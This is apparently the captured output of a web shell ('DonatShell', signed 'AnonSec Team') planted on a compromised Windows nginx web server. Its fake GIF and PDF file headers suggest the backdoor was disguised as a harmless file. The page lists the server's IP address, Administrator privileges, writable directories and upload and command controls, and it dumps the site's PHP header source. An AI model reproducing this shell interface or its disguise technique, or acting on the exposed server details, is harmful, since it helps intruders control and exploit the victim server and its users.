GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/common//sectionHeader.phpinc
<?
// sectionHeader.phpinc
debugTrackBegin();
$sectionHeader_DEBUG = false;
#if ( isset($_SESSION['userId']) && $_SESSION['userId'] == 1 ) $sectionHeader_DEBUG = true;
if (!isset($sectionTitle)) {
  $sectionTitle = '';
}
if (!isset($sectionWidth)) $sectionWidth = 1000;
if ( $sectionWidth ) {
	$sectionStyle = ' style="width:'.$sectionWidth.'px;"';
	$blackHeadingStyle = $sectionWidth - 22;
	$blackHeadingStyle = ' style="width:'.$blackHeadingStyle.'px;"';
	$sectionContentStyle = $sectionWidth - 4;
	$sectionContentStyle = ' style="width:'.$sectionContentStyle.'px;"';
} else {
	$sectionStyle = '';
	$blackHeadingStyle = '';
	$sectionContentStyle = '';
}
if ( !isset($_SESSION['SectionCount']) ) $_SESSION['SectionCount'] = 0;
$_SESSION['SectionCount']++;
$loginLink = '';
$sectionTitleText = $sectionTitle;
if ( $_SESSION['SectionCount'] == 1 && !isset($_GET['f_uId']) ) {
	if (isset($_SESSION['userId']) && $_SESSION['userId'] != '') {
		#printVar("\$_SESSION['userPermissions']",$_SESSION['userPermissions']);
		if ( !stripos($sectionTitle,userName($_SESSION['userId'])) ) {
			//$sectionTitleText = $sectionTitle.' - '.userName($_SESSION['userId']);
		}
		$loginLink = ' <a href="?Logout">Logout</a>';
		if (in_array("ADMIN",$_SESSION['userPermissions'])) {
			if (!strstr($_SERVER['PHP_SELF'],'/admin/')) $loginLink = '<a href="/admin/">admin</a> '.$loginLink;
		}
	} else {
		$loginLink = '<a href="/login">Login</a>';
	}
	$loginLink = '<div style="position:absolute; right:0; top:0; text-align:right; width:100%;"><div style="padding-top:2px;">'.$loginLink.'</div></div>';
}
$sectionClass = "nopad";
if ( !isset($centerSection) || $centerSection ) $sectionClass .= ' center';
if ( !isset($hidefromprintSection) ) $hidefromprintSection = false;
if ( $hidefromprintSection ) $sectionClass .= ' hideFromPrint';
#d_Var("\$_SESSION['SectionCount']",$_SESSION['SectionCount'],'d');
if ( $_SESSION['SectionCount'] == 2 ) $sessionSelectOutput = false;
#@d_Var('$sessionSelectOutput',$sessionSelectOutput,'d');
if ( isset($sessionSelectOutput) && !$sessionSelectOutput ) {
	require('Admin/Session/SessionFilter.phpinc');
	$sessionSelect = '<div style="position:absolute; left:2px; top:0px;">'.$sessionSelect.'</div>';
	$sectionMargin = ' margin:0 250px; white-space:nowrap;';
} else {
	$sessionSelect = '';
	$sectionMargin = '';
}
// $sessionSelectOutput
?>

<!-- Begin section <?=$_SESSION['SectionCount']?> -->
<br>
<table id="tbl_<?=$_SESSION['SectionCount']?>" class="sectionTable <?=$sectionClass?>" <?=$sectionStyle?> >
  <tr>
    <td class="blackBorderLeft"></td>
    <td id="td_<?=$_SESSION['SectionCount']?>" class="sectionTd blackHeading"<?=$blackHeadingStyle?>>
			<div style="position:relative;">
			<div style="padding-top:3px;<?=$sectionMargin?>"><?=expandHeader($sectionTitleText)?></div><?=$sessionSelect?><?=$loginLink?>
			</div>
		</td>
    <td class="urcA"><div class="urcA"></div></td>
    <td class="urcB"><div class="urcB"></div></td>
  </tr>
  <tr>
    <td class="whiteBorder"></td>
    <td id="td2_<?=$_SESSION['SectionCount']?>" class="contentTd white" colspan="2"<?=$sectionContentStyle?>>
<?
$hidefromprintSection = false;

if ( $sectionTitle == 'Schedule' && $_SESSION['SectionCount'] == 2 ) {
	$dateDiff = date_difference($class['startDate'][0],currentDate());
	if ($sectionHeader_DEBUG) {
		d_Var("\$_SESSION['SectionCount']",$_SESSION['SectionCount'],'d');
		d_Var('$sectionTitle',$sectionTitle,'d');
		d_Var("\$class['startDate'][0]",$class['startDate'][0],'d');
		d_Var('currentDate()',currentDate(),'d');
		d_Var('$dateDiff',$dateDiff,'d');
	}
	if ( $dateDiff > 130 ) {
		?>
			<h2 style="text-align: center;"><?=$courseNumber?> <?=$courseTitle?> is not available this semester.</h2>.
		<?
		require('common/pageFooter.phpinc');
		require('common/pageFooter.phpinc');
	}
}

debugTrackEnd();
?>

Anon7 - 2022
AnonSec Team